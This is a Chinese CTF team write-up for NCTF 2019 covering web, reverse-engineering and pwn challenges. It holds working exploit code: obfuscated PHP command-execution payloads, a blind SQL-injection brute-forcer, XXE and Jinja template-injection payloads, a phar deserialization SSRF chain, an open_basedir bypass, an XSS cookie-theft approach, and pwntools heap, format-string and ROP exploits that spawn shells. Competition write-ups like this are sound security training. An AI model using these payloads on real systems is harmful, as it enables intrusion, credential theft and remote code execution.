By NepNep Union Team
本次2019南邮nctf上面,NepNep战队获得第三的好成绩,想加入NepNep战队的大佬请联系Hr贝塔小姐姐~(目前缺web、pwn):QQ1428905650
Web:
题目名称 | 题目状态 | working : xxx
easyphp| OPEN | working : 夏天 星辰 glotozz,linmoumou
1:num=23333%0a %0a截断
2:被自己蠢哭了,爆破脚本写错了。。-
$string_1 = '2120624';
$string_2 = 's214587387a';可以绕过
3:
nctf2019.x1ct34m.com:60005/?num=23333%…*
下划线用.绕过,l${x}s列目录,最后tac读下
hacker_backdoor**| OPEN | working;Kleinor,ding0x0,7ten7,晚风, 蓝小俊**
- 查看phpinfo
http://nctf2019.x1ct34m.com:60004/?code=?><?php $a='php'.'info';$a();?>&useful=index.php
disable_functions 中,命令执行函数 proc_open 未被过滤,waf()函数,可用拼接绕过。 2.
http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20$b=%22p%22;$c=%22ipe%22;$test=%22/readflag%22;$g=%27c%27.%27h%27.%27r%27;$h=$g(95);$a=[[$b.$c,%22r%22],%20[$b.$c,%22w%22],%20[$b.$c,%22w%22]%20];$aa=%27p%27.%27r%27.%27o%27.%27c%27.$h.%27o%27.%27p%27.%27e%27.%27n%27;$fp=$aa($test,$a,$p);%20$d=%27stre%27.%27am%27.$h.%27ge%27.%27t%27.$h.%27c%27.%27o%27.%27n%27.%27t%27.%27e%27.%27n%27.%27t%27.%27s%27;echo%20$d($p[1]);?%3E&useful=index.php
补充:
本题大小写可以绕过函数检查
我参考蚁剑的方法构造payload
http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20Echo%20Eval(cHr(0x70).cHr(0x68).cHr(0x70).cHr(0x69).cHr(0x6e).cHr(0x66).cHr(0x6f).cHr(0x28).cHr(0x29).cHr(0x3b))?%3E&useful=index.php
http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20Echo%20evAl(cHr(0x24).cHr(0x61).cHr(0x3d).cHr(0x5b).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x72).cHr(0x22).cHr(0x5d).cHr(0x2c).cHr(0x20).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x77).cHr(0x22).cHr(0x5d).cHr(0x2c).cHr(0x20).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x77).cHr(0x22).cHr(0x5d).cHr(0x5d).cHr(0x3b).cHr(0x24).cHr(0x66).cHr(0x70).cHr(0x3d).cHr(0x70).cHr(0x72).cHr(0x6f).cHr(0x63).cHr(0x5f).cHr(0x6f).cHr(0x70).cHr(0x65).cHr(0x6e).cHr(0x28).cHr(0x22).cHr(0x2f).cHr(0x72).cHr(0x65).cHr(0x61).cHr(0x64).cHr(0x66).cHr(0x6c).cHr(0x61).cHr(0x67).cHr(0x22).cHr(0x2c).cHr(0x24).cHr(0x61).cHr(0x2c).cHr(0x24).cHr(0x70).cHr(0x29).cHr(0x3b).cHr(0x65).cHr(0x63).cHr(0x68).cHr(0x6f).cHr(0x20).cHr(0x73).cHr(0x74).cHr(0x72).cHr(0x65).cHr(0x61).cHr(0x6d).cHr(0x5f).cHr(0x67).cHr(0x65).cHr(0x74).cHr(0x5f).cHr(0x63).cHr(0x6f).cHr(0x6e).cHr(0x74).cHr(0x65).cHr(0x6e).cHr(0x74).cHr(0x73).cHr(0x28).cHr(0x24).cHr(0x70).cHr(0x5b).cHr(0x31).cHr(0x5d).cHr(0x29).cHr(0x3b));?%3E&useful=index.php
生成payload的方法:
#-*- encoding: utf-8 -*-
str1 = ""
with open("shell.php", "r") as f:
code = f.read()
# print(code)
for i in code:
if ord(i)== 10:
continue
str1 += ("cHr("+str(hex(ord(i)))+").")
print(str1)
shell.php内容:
$a=[["pipe","r"], ["pipe","w"], ["pipe","w"]];$fp=proc_open("/readflag",$a,$p);echo stream_get_contents($p[*1*]);
NCTF{u_arrree_S0_c3refu1_aaaaaaa}
SQLI|OPEN|working:黑白
单引号可以使用\来转义,or可以采用||,=可以采用regexp,
select被过滤...
最后的单引号闭合:
;%00可以闭合,
username=\&passwd=/**/||passwd/**/regexp/**/0x79;%00
写个脚本
#!/usr/bin/env python2
# coding=utf-8
import requests
s = requests.session()
url = "http://nctf2019.x1ct34m.com:40005/index.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
cookies = {
}
flag = ""
tmp = 0
easy_strings = [ord(i) for i in '#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_']
# print(easy_strings)
def change(b):
res1 = ""
for i in b:
res1 += hex(ord(i))
res1 = res1.replace("0x", "")
res1 = "0x" + res1
print(res1)
return res1
for k in 'eiklnoruvwyEIKLNORUVWY0789_':
flag = k
for i in range(1, 100):
if tmp == 1:
break
tmp = 1
for j in easy_strings:
# payload = change(chr(j)) # 找出第一个字符的所有可能性
payload = change(flag + chr(j))
# param = "/**/||username/**/regexp/**/{};{}".format(payload, chr(0))
param = "/**/||passwd/**/regexp/**/{};{}".format(payload, chr(0))
# print(param)
data = {
'username': '\\',
'passwd': param
}
r = requests.post(url=url, headers=headers, data=data)
# print(r.status_code)
# print r.content.decode('utf-8')
if "go back to get the password" in r.content.decode("utf-8"):
print j
flag = flag + chr(j)
tmp = 0
break
print(flag)
print(flag)
tmp = 0
其实第一位可以不遍历,用^匹配就行。。。
NCTF{SQLi_is_not_Just_sq1}
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
过滤的关键字如上
Fake xml cookbook|OPEN|working:einhhhh
Fake xml cookbook|OPEN|working:晚风
Fake XML cookbook | open | finish :glotozz
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>123123</password></user>
True XML cookbook |open|working:l1ngfeng 晚风
读取/etc/hosts发现有个内网ip,读取/proc/net/arp发现很多内网ip,一个一个探测即可
**思路:看作者这篇文章 gv7.me/articles/20…
flask| OPEN | working: ding0x0
http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__base__.__subclasses__()[40](('galf/'%7Creverse)).read()%7D%7D
flask模板注入
过滤了flag字符串,用jinja语法反转字符串绕过
NCTF{Y0u_can_n0t_Read_flag_directly}
Upload your Shell|SOLVED|晚风
会检测扩展名、content-type、文件内容是否包含<?、已经文件头是否为文件,绕过措施: 1.扩展名改为jpg配合文件包含, 2.content-type改为image/jpeg,
<script language="php"></script>,
4.文件头加上gif89a,后访问http://nctf2019.x1ct34m.com:60002/index.php?action=upload-imgs/b854aa72bbb13abd82dde9fe7b728d0b/Th1s_is_a_fl4g.jpg 即可get flag
simple_xss** | Working| working : KanoWill**
XSS任意脚本执行,思路:
由于admin用户存在,向其发送xss代码,恶意js代码将admin的登录cookie发送到xss接收平台上,盗用cookie登录admin账号,应该就可以获得flag了,我今晚休息了,愿意按照这个思路做完的可以试试,9成把握可以这样解开。
simple_xss** | SOLVED| l1ngfeng**
XSS 没啥过滤,直接闭合上一个标签再插script标签进去,发给admin,最后平台收cookie 思路如上
replace | working |glotozz
猜测是/e的代码执行,测试之后发现源码中已经存在/e
发现单引号被过滤,使用chr()绕过即可
phar matches everything|open|晚风 glotozz 黑白
访问nctf2019.x1ct34m.com:40004/.catchmime.… 可以下载vim泄露的swp文件
从swp文件里恢复出的原代码
<?php
class Easytest{
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>
getimagesize($file_path)就可以触发phar反序列化
应该是生成phar文件,getimagesize触发
<?php
class Main {
public $url='http://nctf2019.x1ct34m.com:40004/uploads/';
}
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new Main();
$phar->setMetadata($o);
$phar->stopBuffering();
生成的phar文件,改后缀名为jpeg可以绕过,getimagesize的检测:
getimagesize如何触发,phar序列化,暂时找不到方法。
内网探测:10.0.0.3 tql
师傅能写一下。phar包里,写的是啥吗?我写etc/passwd,啥也获取不到....
你把那个url改成
233333,这是怎么想到的...
hint:very close,先看下/etc/hosts和/proc/net/arp
大佬大佬
我是菜鸡
tql,这道题应该快要出来了,接下来就是我的知识盲区了,大佬做出了,写个wp,我膜一下
我也是盲区。。xz.aliyun.com/t/5598#toc-…
办正事呢好吗,别吹了大佬tql
<?php
class Main {
public $url = "http://10.0.0.3";
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Main();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
具体参考上面的链接利用Gopher:// 进行SSRF
利用gopherus(有毒)生成一下,打一下,发现system()被禁用,后来环境有点问题溜了溜了
又回来了
利用mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');绕过open_basedir()即可
flask_website| open | working :glotozz**,晚风****,L1ngFeng**
生成pin码必要文件:
- username #用户名,可以查看/etc/passwd
- modename #flask.app
- getattr(app,'name',getattr(app.class,'name')) # Flask
- getattr(mod,'file',None) #app.py的绝对路径
- uuid.getnode() #mac地址十进制
- get_machine_id() #/etc/machine-id,
读取到/etcpasswd
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin
ctf:x:1000:1000:Linux User,,,:/ctf:/bin/ash
mac-address:02:42:ac:16:00:02 绝对路径:/usr/local/lib/python3.6/site-packages/flask/app.py
machine-id:21e83dfd-206c-4e80-86be-e8d0afc467a1
错的😥
修改机器码
机器码去掉横杠也不对... (同一个ip一直猜解pin竟然会被ban掉,过一会儿才恢复)
可能是mac地址转为十进制这步出错了?
.pyc和.py 都不行
检查过了,没有pyc这个文件,不用试pyc了,应该就是py
mac是没有错误的,十进制到十六进制复原是正确的
感觉被网上的文章误导了,/etc/machine-id不等于/proc/sys/kernel/random/boot_id
正确的是读容器id tql 没有想到
Reverse:
题目名称 | 题目状态 | working : xxx
签到题|SOLVED|fjh1997
假的签到题,不会解非齐次线性方程组的同学根本不会做好不。
打开ida发现要对输入进行非齐次线性方程的验证,那么其实就是解方程呗
from numpy import *
import numpy as np
a = np.array([[12, 53, 6,34,58,36,1],
[83,85,12,73,27,96,52],
[78,53,24,36,86,25,46],
[39,78,52,9,62,37,84],
[23,6,14,74,48,12,83],
[27,85,92,42,48,15,72],
[4,6,3,67,0,26,68]])
b = np.array([[18564],[37316],[32053],[33278],[23993],[33151],[15248]])
result=[]
x = np.linalg.solve(a, b)
result += x.tolist()
b = np.array([[13719],[34137],[27391],[28639],[18453],[28465],[12384]])
x = np.linalg.solve(a, b)
result += x.tolist()
b = np.array([[20780],[45085],[35827],[37243],[26037],[39409],[17583]])
x = np.linalg.solve(a, b)
result += x.tolist()
b = np.array([[20825],[44474],[35138],[36914],[25918],[38915],[17672]])
x = np.linalg.solve(a, b)
result += x.tolist()
b = np.array([[21219],[43935],[37072],[39359],[27793],[41447],[18098]])
x = np.linalg.solve(a, b)
result += x.tolist()
b = np.array([[21335],[46164],[38698],[39084],[29205],[40913],[19117]])
x = np.linalg.solve(a, b)
result += x.tolist()
b = np.array([[21786],[46573],[38322],[41017],[29298],[43409],[19655]])
x = np.linalg.solve(a, b)
result += x.tolist()
flag=''
for i in result:
for f in i:
flag+=chr(int(f+0.5))
print flag
解出来转化为ascii就完事了 NCTF{nctf2019_linear_algebra_is_very_interesting}
Our 16bit Games|SOLVED|fjh1997
估计被我非预期了,呵呵
ida拖到最后发现这个东西,一看就是打印flag,但是里面的数字貌似不是asci形式,注意其中的xchg指令,是交换变量的意思也就是有两个变量参与flag的 异或,每异或一次就互相交换一次,那么第一个8E要变成‘N’也就是4E要异或C0
第二个9D要变成C也就是43要异或DE
上下异或然后就有flag了
8E 9D 94 98 BB 89 F3 EF 83 EE AD 9B 9F EC 9F 9A F0 EB 9F 97 F6 BC F1 E9 9F E7 A1 B3 F3 A3
C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE
NCTF{W31C0mE_2_D05_I6b17_9am3}
难看的代码 | SOLVED | lzyddf
此题存在大量混淆与指令加密,适合使用x32dbg进行动态调试
首先通过定位字符串来到main函数
先来看第一层加密
首先通过第一个循环对输入的前8位进行加密
再通过第二个循环对输入的每一位进行一次加密
第一层加密后的结果
通过C语言脚本进行验证
#include <stdio.h>
#include <windows.h>
int main()
{
BYTE input[0x20] = {"NCTF{678901234567890123}"};
for(int i=0; i<2; i++)
{
input[i*4] += 0xC;
input[i*4 + 1] += 0x22;
input[i*4 + 2] += 0x38;
input[i*4 + 3] += 0x4E;
}
for(int i=0; i<24; i++)
{
input[i] = (input[i]<<3) ^ (input[i]>>5) ^ 0x5A;
printf("%X ", input[i]);
}
}
执行结果:
目前为止都很顺利
再来看第二层加密
开头有一个循环
下面才是关键
查看40166A
一堆mov,不是很好理解,使用x32dbg自带的反编译功能
可以看到一共执行了32次循环
先看看调用三次后的加密结果
使用C语言实现:
struct s0 {
DWORD f0;
DWORD f4;
};
struct s1 {
DWORD f0;
DWORD f4;
DWORD f8;
DWORD f12;
};
void fun_40166a(struct s0* a1, struct s1* a2) {
DWORD v3;
DWORD v4;
DWORD v5;
DWORD v6;
DWORD v7;
DWORD v8;
DWORD v9;
DWORD v10;
v3 = a1->f0;
v4 = a1->f4;
v5 = 0;
v6 = a2->f0;
v7 = a2->f4;
v8 = a2->f8;
v9 = a2->f12;
v10 = 0;
while (v10 <= 31) {
v5 = v5 - 0x61c88647;
v3 = v3 + (v7 + (v4 >> 5) ^ ((v4 << 4) + v6 ^ v5 + v4));
v4 = v4 + (v9 + (v3 >> 5) ^ ((v3 << 4) + v8 ^ v5 + v3));
++v10;
}
a1->f0 = v3;
a1->f4 = v4;
return;
}
至此,两个正向加密的逻辑已经完全分析出来了
再来看main函数之后又做了什么
查看403005,为固定的一串二进制串
好了,整个程序流程已经分析完毕,可以开始逆向分析了
本来想通过对第二层加密进行逆向,得到介于第一层加密和第二层加密之间的一个flag
尝试写了爆破脚本,甚至尝试了符号执行,仍然未得到正确解
直到快5点钟的时候,注意到了这个东西,猜想会不会是一个关键信息
百度结果如下:
也就是说0x61c88647是TEA加密的一个特征
借大佬的逆向脚本一用
#define _DWORD unsigned int
#define HIDWORD(x) (*((_DWORD *)&(x) + 1))
#define LODWORD(x) (*((_DWORD *)&(x)))
//TEA解密算法
long long xxxx_decrypt(int a1, int a2)
{
int v2;
int v3;
int v4;
unsigned int v5;
unsigned int v6;
int v7;
long long v9;
v2 = *(int *)(a2 + 8); //v2=0xFEDCBA98
v3 = *(int *)a2; //v3=0x1234567
v4 = *(int *)(a2 + 4); //v4=0x89ABCDEF
v5 = *(int *)a1;
v6 = *(int *)(a1 + 4);
HIDWORD(v9) = *(int *)(a2 + 12);
v7 = 0xC6EF3720;
LODWORD(v9) = v2; //v9=0x76543210FEDCBA98
do
{
v6 -= ((v5 >> 5) + HIDWORD(v9)) ^ (16 * v5 + v2) ^ (v5 + v7);
v5 -= ((v6 >> 5) + v4) ^ (16 * v6 + v3) ^ (v6 + v7);
v7 += 0x61C88647;
} while (v7 != 0);
*(int *)a1 = v5;
*(int *)(a1 + 4) = v6;
return v9;
}
得到第一层加密后的flag为: 0x88,0x71,0x3E,0xFE,0x66,0xF6,0x77,0xD7,
0xA0,0x51,0x29,0xF9,0x11,0x79,0x71,0x49,
0xF1,0x61,0xA0,0x09,0xF1,0x29,0x01,0xB1
然后对第一层加密进行单字节爆破即可,脚本:
#include <stdio.h>
#include <windows.h>
int main()
{
BYTE check[] = {
0x88,0x71,0x3E,0xFE,0x66,0xF6,0x77,0xD7,
0xA0,0x51,0x29,0xF9,0x11,0x79,0x71,0x49,
0xF1,0x61,0xA0,0x09,0xF1,0x29,0x01,0xB1};
BYTE input[0x20] = {0};
BYTE input_bak[0x20] = {"NCTF{"};
while(1)
{
int p = 1;
int i=0;
strcpy((char*)input, (char*)input_bak);
for(int i=0; i<2; i++)
{
input[i*4] += 0xC;
input[i*4 + 1] += 0x22;
input[i*4 + 2] += 0x38;
input[i*4 + 3] += 0x4E;
}
for(i=0; i<24; i++)
{
input[i] = (input[i]<<3) ^ (input[i]>>5) ^ 0x5A;
if(input[i] != check[i])
{
input_bak[i]++;
if(input_bak[i] == 127)
{
input_bak[i] = 32;
}
p = 0;
break;
}
}
if(i == 24)
{
break;
}
}
puts((char*)input_bak);
system("pause");
}
Pwn:
题目名称 | 题目状态 | working : xxx
hello_pwn | SOLVED | Qfrost
pwntools连上去输入一个“a”就有flag了。
pwn me 100 years! | SOLVED | Qfrost
from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./pwn_me_1")
payload="yes\x00".ljust(0x10,"a") + p64(0x66666666)
sh.recvuntil("ready?\n")
sh.sendline(payload)
sh.interactive()
print(sh.recv())
pwn me 100 year!(II) | SOLVED | Qfrost
第一个read可以输入%p导致pie泄露,然后确定key的位置,然后printf的格式化字符串漏洞改一下值就好了
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn_me_2")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./pwn_me_2")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh.sendlineafter(':',"a" * 0x10 + "%p\x00")
sh.recvuntil("preparing......\n")
pie = int(sh.recvuntil("pwn me 100",True),16) - 0x563519b85080 + 0x563519983000
key = pie + 0x2020E0
payload = "%" + str(0x6666) + "d%10$hn%11$hn"
payload = payload.ljust(0x30 - 0x10,'\x00')
payload += p64(key) + p64(key+2)
sh.sendlineafter("?",payload)
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50005,0)
pwn me 100 year!(III) | SOLVED | Qfrost
先利用malloc和free在read之后的末尾字节未置零从而实现heap leak,edit功能存在0x10字节的溢出,利用fastbin attack即可修改heap头的堆块,触发backdoor
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn_me_3")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./pwn_me_3")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
sh.sendlineafter("exit","1")
sh.sendlineafter(":",str(size))
sh.sendafter(":",content)
def edit(idx,content):
sh.sendlineafter("exit","4")
sh.sendlineafter(":",str(idx))
sh.sendafter(":",content)
def free(idx):
sh.sendlineafter("exit","2")
sh.sendlineafter(":",str(idx))
def show(idx):
sh.sendlineafter("exit","3")
sh.sendlineafter("idx",str(idx))
add(0x18,'a' * 0x18)
add(0x18,'b' * 0x18)
free(0)
free(1)
add(8,'\n')
add(0,'')
show(0)
sh.recvuntil("\n")
heap_base = u64(sh.recvuntil("\n1,a",True)[-4:].ljust(8,'\x00')) - 0xa
log.success("heap_base: " + hex(heap_base))
add(0x18,'c' * 0x18)
free(2)
edit(1,'a' * 0x10 + p64(0x20) + p64(0x41))
free(0)
add(0x38,'a' * 0x18 + p64(0x21) + p64(heap_base))
add(0x18,p32(0xdeadbeef))
add(0x18,p32(0x66666666))
sh.sendline("5")
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50006,0)
本想用fastbin_attack,把free_got修改成后门函数,结果延迟绑定的时候炸了。所以用了retlibc的思路,将free_got修改成system,再提前准备"/bin/sh\x00"字符串,再free的时候就可以拿到shell了。 exp2:
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./pwn_me_3")
def creat(chunk_size,value):
sh.recvuntil('5,exit')
sh.sendline('1')
sh.recvuntil('size:')
sh.sendline(str(chunk_size))
sh.recvuntil('content:')
sh.sendline(value)
def delete(index):
sh.recvuntil('5,exit')
sh.sendline('2')
sh.recvuntil('idx:')
sh.sendline(str(index))
def show(index):
sh.recvuntil('5,exit')
sh.sendline('3')
sh.recvuntil('idx')
sh.sendline(str(index))
def edit(index,value):
sh.recvuntil('5,exit')
sh.sendline('4')
sh.recvuntil('idx:')
sh.sendline(str(index))
sh.recvuntil('content:')
sh.sendline(value)
creat(0x18,'Chunk0')
creat(0x10,'Chunk1')
creat(0x50,'Chunk2')
creat(0x50,'Chunk3')
creat(0x50,'/bin/sh\x00')
delete(3)
delete(2)
edit(0,'A'*0x10+p64(0)+p64(0x81))
delete(1)
creat(0x70,'A'*0x10+p64(0)+p64(0x61)+p64(0x601ffa))
creat(0x50,'Chunk5')
creat(0x50,'')
show(3)
important_info=sh.recvuntil('\x0a').strip('\x0a')
edit(3,'A'*0x5)
show(3)
sh.recvuntil('A'*0x5+'\x0a')
important_address=u64(sh.recvuntil('\x0a').strip('\x0a').ljust(8,'\x00'))
libc_base=important_address-0x3E1EE0
log.success('libc base is '+str(hex(libc_base)))
system_address=libc_base+libc.symbols['system']
sh.recvuntil('5,exit')
sh.sendline('4')
sh.recvuntil('idx:')
sh.sendline(str(3))
sh.recvuntil('content:')
sh.send('\x0A'+p64(important_address)[3:6]+'\x00'*2+p64(important_address)+p64(system_address))
delete(4)
sh.interactive()
warmup | SOLVED | Qfrost
导入ida看到开了沙盒,考虑使用orw,然后程序有read、printf、read,可以实现canary leak,然后第二个read存在严重的栈溢出,然后puts一下got数据实现libc leak,再回到main进行二次劫持,接着调用mprotect函数来设置bss段的数据可读可写可执行,然后再bss段上放好orwshellcode然后跳过去执行就可以拿到flag了,介于之前的题目中出现过cat flag的字符串,所以猜测flag和elf在同一个目录下,所以直接open("flag")即可
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("warm_up")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./warm_up")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")
pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
sh.sendafter('!!!','a' * 0x19)
sh.recvuntil('a' * 0x18)
canary = u64(sh.recv(8)) - 0x61
payload = 'a' * 0x18 + p64(canary) + 'a' * 8
payload += p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'])
payload += p64(elf.plt['puts'])
payload += p64(0x400910)
sh.sendline(payload)
sh.recvuntil("?")
__libc_start_main = u64(sh.recvuntil("\nwarm",True)[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
gets = libc + lib.symbols['gets']
